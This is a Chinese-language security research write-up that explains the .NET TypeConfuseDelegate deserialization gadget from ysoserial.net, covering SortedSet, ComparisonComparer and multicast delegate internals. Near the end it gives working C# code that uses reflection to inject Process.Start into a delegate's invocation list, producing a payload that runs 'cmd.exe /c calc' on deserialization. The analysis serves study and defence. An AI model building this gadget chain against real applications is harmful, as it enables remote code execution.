# TypeConfuseDelegate gadget 从 `ysoserial.net` 可以学到非常多gadget的利用方法,从其中可以知道`TypeConfuseDelegat` 链主要使用 `SortedSet` 类来进行构造 `SortedSet` 这个类用来将其中的元素按照一定规则进行排序,排序的方法需要自己创建一个用来规定如何排序的类作为比较器,必须实现 `IComparer` 接口,这个接口只有一个方法 `Compare` ,简单用法如下所示 ![](https://i.imgur.com/GyzcDdG.png) > 一个小细节 > ![](https://i.imgur.com/aPVQk7J.png) 当前集合中的元素大于等于2,也就是调用第二次或者更多次 `Add` 方法的时候,将会调用 `Comparer` 中的 `Compare` 方法,并将两次传入的值作为参数传入 跟入 `SortedSet` 构造方法 ![](https://i.imgur.com/TPAJZVp.png) 如果传入了比较器,那么将这个比较器赋值给 `comparer` ,一个类型为 `IComparer<T>` 的变量 这里看到如果没有传入比较器,或者传入为null,那么会默认赋值一个 `Comparer<T>` ,跟入一下实现 ```csharp public abstract class Comparer<T> : IComparer, IComparer<T> { private static readonly Comparer<T> defaultComparer = CreateComparer(); public static Comparer<T> Default { get { return defaultComparer; } } public static Comparer<T> Create(Comparison<T> comparison) { if (comparison == null) { throw new ArgumentNullException("comparison"); } return new ComparisonComparer<T>(comparison); } private static Comparer<T> CreateComparer() { // ... } public abstract int Compare(T x, T y); int IComparer.Compare(object x, object y) { // .... } } ``` 其实完全不用关注别的方法,只需要关注到其中有一个公开的 `Create` 方法,如果传入的 `Comparison<T>` 不为null的话,就会作为参数传入 `ComparisonComparer<T>` 中 首先 `Comparison<T>` 本身是一个签名和 `Compare` 完全一致的委托 ![](https://i.imgur.com/n7P2vQx.png) 接下来关注一下 `ComparisonComparer<T>` 是什么 ![](https://i.imgur.com/OooQpQu.png) 可以发现这是一个可以被序列化的类,并且因为继承了 `Comparer<T>` 所以这其实也是一个比较器 关注到这个类中重写的 `Compare` 函数,直接将传入的 `Comparison<T>` 进行了调用,这个类刚刚跟踪后可以知道,其实就是直接调用了一个委托。这里可以知道 `ComparisonComparer` 的关键所在 - 可以被序列化 - 比较函数可控 --- 回过头来看到 `SortedSet<T>` 中,因为实现了 `IDeserializationCallback` 接口,所以关注到其关于完成反序列化时的通知方法 ```csharp void IDeserializationCallback.OnDeserialization(object sender) { OnDeserialization(sender); } protected virtual void OnDeserialization(object sender) { if (comparer != null) { return; } if (siInfo == null) { ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser); } comparer = (IComparer<T>)siInfo.GetValue("Comparer", typeof(IComparer<T>)); int @int = siInfo.GetInt32("Count"); if (@int != 0) { T[] array = (T[])siInfo.GetValue("Items", typeof(T[])); if (array == null) { ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues); } for (int i = 0; i < array.Length; i++) { Add(array[i]); } } version = siInfo.GetInt32("Version"); if (count != @int) { ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount); } siInfo = null; } ``` 看到其中的逻辑,首先取出类型为 `IComparer<T>` 的值 `Comparer` 赋值到 `comparer` 接下来如果 `Count` 不等于0,则会进行遍历 `Items` ,并调用 `Add` 方法,回顾之前的分析,这里如果调用第二次及以上的 `Add` 方法则会在其中调用 `Compare` 函数进行排序处理 那么可以总结出,在比较函数可控的情况下,如果将其设置为 `Process.Start` ,接着将两次 `Add` 的值设置为执行命令的参数,那么就可以实现一次RCE --- `SortedSet<T>` 中比较方法的签名为 `int Compare(T x, T y);` 在 `Process` 类中 `Start` 方法有非常多的重载,和其签名最为相似的重载为 ![](https://i.imgur.com/UCRNlkl.png) 但是这里存在一个问题,那就是这个方法的返回类型是 `Process` ,而不是签名中定义的 `int` ,如果直接将其作为 `comparer` 的话就会因为返回类型不一致直接报错 这个问题就需要多播委托来解决,也就是使用 `MulticastDelegate` 类 > 直接在程序中使用关键字 `delegate` 声明的委托,其实就是派生自 `MulticastDelegate` > > > ![](https://i.imgur.com/FwqfauU.png) > 多播委托其实就是合并将多个委托进行合并,返回一个新的委托,跟到 `Delegate` 中的 `Combine` 方法中 [Delegate.Combine 方法 (System)](https://docs.microsoft.com/zh-cn/dotnet/api/system.delegate.combine?view=net-6.0) ![](https://i.imgur.com/eNTBXKk.png) 因为委托都是派生自 `MulticastDelegate` 所以直接跟入该类的 `CombineImpl` 方法中,这个方法非常长,但是只需要关注其中一块,知道他返回了一个新的委托即可 ![](https://i.imgur.com/hcm5SVd.png) 这个类中有两个变量比较重要的变量 ![](https://i.imgur.com/mcFlg7D.png) 重点是 `_invocationList` ,这里面存的就是将要按照顺序执行的委托列表,虽然给出了公开的方法来进行合并委托,但遗憾的是合并委托仍然需要保证委托类型相同,并且 `_invocationList` 是一个私有变量无法直接对其进行赋值操作 但是仔细注意下 `_invocationList` ,会发现如果委托在合并的时候,会将其转换为 `object[]` 数组,没有任何类型限制,所以这里可以直接使用反射,手动修改掉实例中的 `_invocationList` ,在数组中push一个泛型委托 `Func<string, string, Process>(Process.Start)` ,那么因为传入了一个多播委托,将会在调用 `Compare` 进行比较排序时,按照顺序在之后调用到 `Process.Start` 造成命令注入, ```csharp MulticastDelegate d1 = new Comparison<string>(String.Compare); MulticastDelegate d2 = new Func<string, string, Process>(Process.Start); Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d1, d1); IComparer<string> comparer = Comparer<string>.Create(c); SortedSet<string> s = new SortedSet<string>(comparer); s.Add("cmd.exe"); s.Add("/c calc"); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] dList = new object[d1.GetInvocationList().Length + 1]; d1.GetInvocationList().CopyTo(dList, 0); dList[dList.Length - 1] = d2; fi.SetValue(c, dList); ``` ![](https://i.imgur.com/NZgUQHm.png) 之后将构造好之后的 `SortedSet<string>` 进行序列化,得到序列化后的payload 如果对该payload直接进行反序列化,将会触发 `Process.Start` 并执行 `cmd.exe /c calc` ![](https://i.imgur.com/Ql28kyz.gif)